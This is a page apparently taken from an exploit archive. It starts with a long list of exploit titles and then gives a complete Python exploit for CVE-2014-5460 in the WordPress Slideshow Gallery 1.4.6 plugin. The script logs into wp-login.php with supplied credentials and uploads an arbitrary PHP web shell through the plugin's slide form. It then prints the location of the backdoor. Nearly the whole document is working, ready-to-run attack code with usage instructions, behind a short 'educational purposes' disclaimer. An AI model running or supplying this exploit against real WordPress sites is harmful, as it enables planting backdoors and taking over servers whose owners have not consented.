
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
246 lines
No EOL
9.5 KiB
Python
Executable file
246 lines
No EOL
9.5 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#
|
|
# WordPress Slideshow Gallery 1.4.6 Shell Upload Exploit
|
|
#
|
|
# WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability (CVE-2014-5460)
|
|
#
|
|
# Vulnerability discovered by: Jesus Ramirez Pichardo - http://whitexploit.blogspot.mx/
|
|
#
|
|
# Exploit written by: Claudio Viviani - info@homelab.it - http://www.homelab.it
|
|
#
|
|
#
|
|
# Disclaimer:
|
|
#
|
|
# This exploit is intended for educational purposes only and the author
|
|
# can not be held liable for any kind of damages done whatsoever to your machine,
|
|
# or damages caused by some other,creative application of this exploit.
|
|
# In any case you disagree with the above statement,stop here.
|
|
#
|
|
#
|
|
# Requirements:
|
|
#
|
|
# 1) Enabled user management slide
|
|
# 2) python's httplib2 lib
|
|
# Installation: pip install httplib2
|
|
#
|
|
# Usage:
|
|
#
|
|
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost -u user -p pwd -f sh33l.php
|
|
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost/wordpress -u user -p pwd -f sh33l.php
|
|
# python wp_gallery_slideshow_146_suv.py -t http[s]://localhost:80|443 -u user -p pwd -f sh33l.php
|
|
#
|
|
# Backdoor Location:
|
|
#
|
|
# http://localhost/wp-content/uploads/slideshow-gallery/sh33l.php
|
|
#
|
|
# Tested on Wordpress 3.6, 3.7, 3.8, 3.9, 4.0
|
|
#
|
|
|
|
# http connection
|
|
import urllib, httplib2, sys, mimetypes
|
|
# Args management
|
|
import optparse
|
|
# Error management
|
|
import socket, httplib, sys
|
|
# file management
|
|
import os, os.path
|
|
|
|
# Check url
|
|
def checkurl(url):
|
|
if url[:8] != "https://" and url[:7] != "http://":
|
|
print('[X] You must insert http:// or https:// procotol')
|
|
sys.exit(1)
|
|
else:
|
|
return url
|
|
|
|
# Check if file exists and has readable
|
|
def checkfile(file):
|
|
if not os.path.isfile(file) and not os.access(file, os.R_OK):
|
|
print '[X] '+file+' file is missing or not readable'
|
|
sys.exit(1)
|
|
else:
|
|
return file
|
|
# Get file's mimetype
|
|
def get_content_type(filename):
|
|
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
|
|
|
|
# Create multipart header
|
|
def create_body_sh3ll_upl04d(payloadname):
|
|
|
|
getfields = dict()
|
|
getfields['Slide[id]'] = ''
|
|
getfields['Slide[order]'] = ''
|
|
getfields['Slide[title]'] = 'h0m3l4b1t'
|
|
getfields['Slide[description]'] = 'h0m3l4b1t'
|
|
getfields['Slide[showinfo]'] = 'both'
|
|
getfields['Slide[iopacity]'] = '70'
|
|
getfields['Slide[type]'] = 'file'
|
|
getfields['Slide[image_url]'] = ''
|
|
getfields['Slide[uselink]'] = 'N'
|
|
getfields['Slide[link]'] = ''
|
|
getfields['Slide[linktarget]'] = 'self'
|
|
getfields['Slide[title]'] = 'h0m3l4b1t'
|
|
|
|
payloadcontent = open(payloadname).read()
|
|
|
|
LIMIT = '----------lImIt_of_THE_fIle_eW_$'
|
|
CRLF = '\r\n'
|
|
|
|
L = []
|
|
for (key, value) in getfields.items():
|
|
L.append('--' + LIMIT)
|
|
L.append('Content-Disposition: form-data; name="%s"' % key)
|
|
L.append('')
|
|
L.append(value)
|
|
|
|
L.append('--' + LIMIT)
|
|
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('image_file', payloadname))
|
|
L.append('Content-Type: %s' % get_content_type(payloadname))
|
|
L.append('')
|
|
L.append(payloadcontent)
|
|
L.append('--' + LIMIT + '--')
|
|
L.append('')
|
|
body = CRLF.join(L)
|
|
return body
|
|
|
|
banner = """
|
|
|
|
$$$$$$\ $$\ $$\ $$\ $$\
|
|
$$ __$$\ $$ |\__| $$ | $$ |
|
|
$$ / \__|$$ |$$\ $$$$$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$\
|
|
\$$$$$$\ $$ |$$ |$$ __$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ | $$ |
|
|
\____$$\ $$ |$$ |$$ / $$ |$$$$$$$$ |\$$$$$$\ $$ | $$ |$$ / $$ |$$ | $$ | $$ |
|
|
$$\ $$ |$$ |$$ |$$ | $$ |$$ ____| \____$$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |
|
|
\$$$$$$ |$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$$$$$$ |$$ | $$ |\$$$$$$ |\$$$$$\$$$$ |
|
|
\______/ \__|\__| \_______| \_______|\_______/ \__| \__| \______/ \_____\____/
|
|
|
|
|
|
|
|
$$$$$$\ $$\ $$\ $$\ $$\ $$\ $$$$$$\
|
|
$$ __$$\ $$ |$$ | $$$$ |$$ | $$ | $$ __$$\
|
|
$$ / \__| $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$\ $$\ \_$$ |$$ | $$ | $$ / \__|
|
|
$$ |$$$$\ \____$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$ | $$ | $$ |$$$$$$$$ | $$$$$$$\
|
|
$$ |\_$$ | $$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__|$$ | $$ | $$ |\_____$$ | $$ __$$\
|
|
$$ | $$ |$$ __$$ |$$ |$$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ / $$ |
|
|
\$$$$$$ |\$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$$ | $$$$$$\ $$\ $$ |$$\ $$$$$$ |
|
|
\______/ \_______|\__|\__| \_______|\__| \____$$ | \______|\__|\__|\__|\______/
|
|
$$\ $$ |
|
|
\$$$$$$ |
|
|
\______/
|
|
|
|
W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.
|
|
|
|
=============================================
|
|
- Release date: 2014-08-28
|
|
- Discovered by: Jesus Ramirez Pichardo
|
|
- CVE: 2014-5460
|
|
=============================================
|
|
|
|
Written by:
|
|
|
|
Claudio Viviani
|
|
|
|
http://www.homelab.it
|
|
|
|
info@homelab.it
|
|
homelabit@protonmail.ch
|
|
|
|
https://www.facebook.com/homelabit
|
|
https://twitter.com/homelabit
|
|
https://plus.google.com/+HomelabIt1/
|
|
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
|
|
"""
|
|
|
|
commandList = optparse.OptionParser('usage: %prog -t URL -u USER -p PASSWORD -f FILENAME.PHP [--timeout sec]')
|
|
commandList.add_option('-t', '--target', action="store",
|
|
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
|
|
)
|
|
commandList.add_option('-f', '--file', action="store",
|
|
help="Insert file name, ex: shell.php",
|
|
)
|
|
commandList.add_option('-u', '--user', action="store",
|
|
help="Insert Username",
|
|
)
|
|
commandList.add_option('-p', '--password', action="store",
|
|
help="Insert Password",
|
|
)
|
|
commandList.add_option('--timeout', action="store", default=10, type="int",
|
|
help="[Timeout Value] - Default 10",
|
|
)
|
|
|
|
options, remainder = commandList.parse_args()
|
|
|
|
# Check args
|
|
if not options.target or not options.user or not options.password or not options.file:
|
|
print(banner)
|
|
commandList.print_help()
|
|
sys.exit(1)
|
|
|
|
payloadname = checkfile(options.file)
|
|
host = checkurl(options.target)
|
|
username = options.user
|
|
pwd = options.password
|
|
timeout = options.timeout
|
|
|
|
print(banner)
|
|
|
|
url_login_wp = host+'/wp-login.php'
|
|
url_admin_slideshow = host+'/wp-admin/admin.php?page=slideshow-slides&method=save'
|
|
|
|
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
|
|
|
|
http = httplib2.Http(disable_ssl_certificate_validation=True, timeout=timeout)
|
|
|
|
# Wordpress login POST Data
|
|
body = { 'log':username,
|
|
'pwd':pwd,
|
|
'wp-submit':'Login',
|
|
'testcookie':'1' }
|
|
# Wordpress login headers with Cookie
|
|
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
|
|
'Content-type': 'application/x-www-form-urlencoded',
|
|
'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }
|
|
try:
|
|
response, content = http.request(url_login_wp, 'POST', headers=headers, body=urllib.urlencode(body))
|
|
if len(response['set-cookie'].split(" ")) < 4:
|
|
#if 'httponly' in response['set-cookie'].split(" ")[-1]:
|
|
print '[X] Wrong username or password'
|
|
sys.exit()
|
|
else:
|
|
print '[+] Username & password ACCEPTED!\n'
|
|
|
|
# Create cookie for admin panel
|
|
if 'secure' in response['set-cookie']:
|
|
c00k13 = response['set-cookie'].split(" ")[6]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[10]
|
|
else:
|
|
c00k13 = response['set-cookie'].split(" ")[5]+' '+response['set-cookie'].split(" ")[0]+' '+response['set-cookie'].split(" ")[8]
|
|
|
|
bodyupload = create_body_sh3ll_upl04d(payloadname)
|
|
|
|
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
|
|
'Cookie': c00k13,
|
|
'content-type': content_type,
|
|
'content-length': str(len(bodyupload)) }
|
|
response, content = http.request(url_admin_slideshow, 'POST', headers=headers, body=bodyupload)
|
|
|
|
if 'admin.php?page=slideshow-slides&Galleryupdated=true&Gallerymessage=Slide+has+been+saved' in content:
|
|
print '[!] Shell Uploaded!'
|
|
print '[+] Check url: '+host+'/wp-content/uploads/slideshow-gallery/'+payloadname.lower()+' (lowercase!!!!)'
|
|
else:
|
|
print '[X] The user can not upload files or plugin fixed :((('
|
|
|
|
except socket.timeout:
|
|
print('[X] Connection Timeout')
|
|
sys.exit(1)
|
|
except socket.error:
|
|
print('[X] Connection Refused')
|
|
sys.exit(1)
|
|
except httplib.ResponseNotReady:
|
|
print('[X] Server Not Responding')
|
|
sys.exit(1)
|
|
except httplib2.ServerNotFoundError:
|
|
print('[X] Server Not Found')
|
|
sys.exit(1)
|
|
except httplib2.HttpLib2Error:
|
|
print('[X] Connection Error!!')
|
|
sys.exit(1) |